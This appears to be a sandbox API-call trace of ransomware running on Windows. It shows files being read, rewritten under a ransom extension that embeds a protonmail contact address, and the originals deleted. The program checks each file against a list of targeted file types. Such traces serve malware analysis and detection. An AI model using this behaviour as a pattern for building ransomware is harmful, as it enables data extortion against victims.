	[0187.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.900] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.900] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0187.901] GetLastError () returned 0x0
	[0187.901] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0188.324] WriteFile (in: hFile=0x340, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0188.325] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.325] WriteFile (in: hFile=0x340, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0188.325] SetEndOfFile (hFile=0x340) returned 1
	[0188.326] CloseHandle (hObject=0x340) returned 1
	[0188.326] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.326] SetEndOfFile (hFile=0x310) returned 1
	[0188.329] CloseHandle (hObject=0x310) returned 1
	[0188.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 1
	[0188.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.338] lstrlenW (lpString=".doc") returned 4
	[0188.338] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.338] lstrlenW (lpString=".docx") returned 5
	[0188.338] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.338] lstrlenW (lpString=".pdf") returned 4
	[0188.338] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.338] lstrlenW (lpString=".xls") returned 4
	[0188.338] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.338] lstrlenW (lpString=".xlsx") returned 5
	[0188.338] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.338] lstrlenW (lpString=".ppt") returned 4
	[0188.338] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.339] lstrlenW (lpString=".zip") returned 4
	[0188.339] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.339] lstrlenW (lpString=".rar") returned 4
	[0188.339] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0188.339] lstrlenW (lpString=".bz2") returned 4
	[0188.339] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.339] lstrlenW (lpString=".7z") returned 3
	[0188.339] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.339] lstrlenW (lpString=".dbf") returned 4
	[0188.339] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.339] lstrlenW (lpString=".1cd") returned 4
	[0188.339] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.339] lstrlenW (lpString=".jpg") returned 4
	[0188.339] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.339] lstrlenW (lpString=".doc") returned 4
	[0188.339] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.339] lstrlenW (lpString=".docx") returned 5
	[0188.340] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.340] lstrlenW (lpString=".pdf") returned 4
	[0188.340] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.340] lstrlenW (lpString=".xls") returned 4
	[0188.340] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.340] lstrlenW (lpString=".xlsx") returned 5
	[0188.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.340] lstrlenW (lpString=".ppt") returned 4
	[0188.340] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.340] lstrlenW (lpString=".zip") returned 4
	[0188.340] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.340] lstrlenW (lpString=".rar") returned 4
	[0188.340] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0188.340] lstrlenW (lpString=".bz2") returned 4
	[0188.340] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.340] lstrlenW (lpString=".7z") returned 3
	[0188.340] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.340] lstrlenW (lpString=".dbf") returned 4
	[0188.340] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.340] lstrlenW (lpString=".1cd") returned 4
	[0188.340] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87
	[0188.340] lstrlenW (lpString=".jpg") returned 4
	[0188.340] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.340] lstrlenW (lpString=".id-") returned 4
	[0188.340] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7701e0 | out: hHeap=0x710000) returned 1
	[0188.340] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad8f8 | out: hHeap=0x710000) returned 1
	[0188.340] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38c0968 | out: hHeap=0x710000) returned 1
	[0188.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38d0970 | out: hHeap=0x710000) returned 1
	[0188.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3c8b020 | out: hHeap=0x710000) returned 1
	[0188.347] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76ffa0 | out: hHeap=0x710000) returned 1
	[0188.347] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068d78
	[0188.347] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068d78, Size=0x20) returned 0x3929fc0
	[0188.347] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068d78
	[0188.348] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068d78, Size=0x20) returned 0x3929fe8
	[0188.348] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.348] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.348] Wow64DisableWow64FsRedirection (in: OldValue=0x322ff50 | out: OldValue=0x322ff50*=0x1) returned 1
	[0188.348] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fe8 | out: hHeap=0x710000) returned 1
	[0188.348] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fc0 | out: hHeap=0x710000) returned 1

Thread:
	id = 46
	os_tid = 0xda0

	[0159.662] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x38e0978
	[0159.663] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x38f0980
	[0159.663] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76ffb8
	[0159.663] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ad908
	[0159.663] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7701f8
	[0159.663] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3d9c020
	[0159.667] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x770180
	[0159.667] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x770180, Size=0x20) returned 0x74f350
	[0159.667] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76ffd0
	[0159.667] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76ffd0, Size=0x20) returned 0x74f288
	[0159.667] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.668] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.668] Wow64DisableWow64FsRedirection (in: OldValue=0x336ff50 | out: OldValue=0x336ff50*=0x0) returned 1
	[0159.668] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.668] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f350 | out: hHeap=0x710000) returned 1
	[0159.668] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.668] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f288 | out: hHeap=0x710000) returned 1
	[0159.668] Sleep (dwMilliseconds=0x64) 
	[0160.366] Sleep (dwMilliseconds=0x64) 
	[0160.633] lstrlenW (lpString="BCD") returned 3
	[0160.633] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.633] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.633] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.634] lstrlenW (lpString=".doc") returned 4
	[0160.634] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".docx") returned 5
	[0160.634] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".pdf") returned 4
	[0160.634] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".xls") returned 4
	[0160.634] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".xlsx") returned 5
	[0160.634] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".ppt") returned 4
	[0160.634] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.634] lstrlenW (lpString=".zip") returned 4
	[0160.634] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".rar") returned 4
	[0160.634] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".bz2") returned 4
	[0160.634] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".7z") returned 3
	[0160.634] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0160.634] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.634] lstrlenW (lpString=".dbf") returned 4
	[0160.634] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.634] lstrlenW (lpString=".1cd") returned 4
	[0160.634] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.634] lstrlenW (lpString=".jpg") returned 4
	[0160.634] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.634] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.634] lstrlenW (lpString=".doc") returned 4
	[0160.634] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".docx") returned 5
	[0160.634] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0160.634] lstrlenW (lpString=".pdf") returned 4
	[0160.635] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0160.635] lstrlenW (lpString=".xls") returned 4
	[0160.635] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0160.635] lstrlenW (lpString=".xlsx") returned 5
	[0160.635] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0160.635] lstrlenW (lpString=".ppt") returned 4
	[0160.635] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0160.635] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.635] lstrlenW (lpString=".zip") returned 4
	[0160.635] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0160.635] lstrlenW (lpString=".rar") returned 4
	[0160.635] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0160.635] lstrlenW (lpString=".bz2") returned 4
	[0160.635] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0160.635] lstrlenW (lpString=".7z") returned 3
	[0160.635] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0160.635] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.635] lstrlenW (lpString=".dbf") returned 4
	[0160.635] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0160.635] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.635] lstrlenW (lpString=".1cd") returned 4
	[0160.635] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0160.635] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0160.635] lstrlenW (lpString=".jpg") returned 4
	[0160.635] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0160.635] Sleep (dwMilliseconds=0x64) 
	[0160.887] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0160.906] lstrlenW (lpString="bootvhd.dll") returned 11
	[0160.906] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.907] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=99744) returned 1
	[0160.907] CloseHandle (hObject=0x394) returned 1
	[0160.907] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0160.907] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.907] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.907] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.907] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.907] lstrlenW (lpString=".doc") returned 4
	[0160.907] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0160.907] lstrlenW (lpString=".docx") returned 5
	[0160.907] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0160.907] lstrlenW (lpString=".pdf") returned 4
	[0160.907] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0160.907] lstrlenW (lpString=".xls") returned 4
	[0160.907] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0160.907] lstrlenW (lpString=".xlsx") returned 5
	[0160.907] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0160.907] lstrlenW (lpString=".ppt") returned 4
	[0160.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0160.907] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.907] lstrlenW (lpString=".zip") returned 4
	[0160.908] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0160.908] lstrlenW (lpString=".rar") returned 4
	[0160.908] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0160.908] lstrlenW (lpString=".bz2") returned 4
	[0160.908] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0160.908] lstrlenW (lpString=".7z") returned 3
	[0160.908] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0160.908] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.908] lstrlenW (lpString=".dbf") returned 4
	[0160.908] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0160.908] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.908] lstrlenW (lpString=".1cd") returned 4
	[0160.908] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0160.908] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.908] lstrlenW (lpString=".jpg") returned 4
	[0160.908] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0160.908] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.908] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.908] lstrlenW (lpString=".doc") returned 4
	[0160.908] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0160.908] lstrlenW (lpString=".docx") returned 5
	[0160.908] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0160.908] lstrlenW (lpString=".pdf") returned 4
	[0160.908] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0160.908] lstrlenW (lpString=".xls") returned 4
	[0160.908] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0160.908] lstrlenW (lpString=".xlsx") returned 5
	[0160.908] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0160.908] lstrlenW (lpString=".ppt") returned 4
	[0160.908] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0160.908] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.908] lstrlenW (lpString=".zip") returned 4
	[0160.908] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0160.908] lstrlenW (lpString=".rar") returned 4
	[0160.909] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0160.909] lstrlenW (lpString=".bz2") returned 4
	[0160.909] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0160.911] lstrlenW (lpString=".7z") returned 3
	[0160.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0160.911] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.911] lstrlenW (lpString=".dbf") returned 4
	[0160.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0160.911] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.911] lstrlenW (lpString=".1cd") returned 4
	[0160.911] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0160.911] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0160.911] lstrlenW (lpString=".jpg") returned 4
	[0160.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0160.911] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0160.911] lstrlenW (lpString="kor_boot.ttf") returned 12
	[0160.912] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.926] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=2373000) returned 1
	[0160.926] CloseHandle (hObject=0x394) returned 1
	[0160.926] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20
	[0160.926] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.935] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0160.935] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.935] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.935] lstrlenW (lpString=".doc") returned 4
	[0160.935] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.935] lstrlenW (lpString=".docx") returned 5
	[0160.935] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.935] lstrlenW (lpString=".pdf") returned 4
	[0160.935] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.935] lstrlenW (lpString=".xls") returned 4
	[0160.935] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.935] lstrlenW (lpString=".xlsx") returned 5
	[0160.935] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.935] lstrlenW (lpString=".ppt") returned 4
	[0160.935] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.935] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.935] lstrlenW (lpString=".zip") returned 4
	[0160.935] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.935] lstrlenW (lpString=".rar") returned 4
	[0160.935] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.935] lstrlenW (lpString=".bz2") returned 4
	[0160.935] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.935] lstrlenW (lpString=".7z") returned 3
	[0160.935] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.935] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.935] lstrlenW (lpString=".dbf") returned 4
	[0160.935] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.936] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.936] lstrlenW (lpString=".1cd") returned 4
	[0160.936] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0160.936] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.936] lstrlenW (lpString=".jpg") returned 4
	[0160.936] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.936] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.936] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.936] lstrlenW (lpString=".doc") returned 4
	[0160.936] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.936] lstrlenW (lpString=".docx") returned 5
	[0160.936] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.936] lstrlenW (lpString=".pdf") returned 4
	[0160.936] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.936] lstrlenW (lpString=".xls") returned 4
	[0160.936] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.936] lstrlenW (lpString=".xlsx") returned 5
	[0160.936] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.936] lstrlenW (lpString=".ppt") returned 4
	[0160.936] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.936] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.936] lstrlenW (lpString=".zip") returned 4
	[0160.936] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.936] lstrlenW (lpString=".rar") returned 4
	[0160.936] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.936] lstrlenW (lpString=".bz2") returned 4
	[0160.936] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.936] lstrlenW (lpString=".7z") returned 3
	[0160.936] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.936] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.936] lstrlenW (lpString=".dbf") returned 4
	[0160.936] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.936] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.936] lstrlenW (lpString=".1cd") returned 4
	[0160.937] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
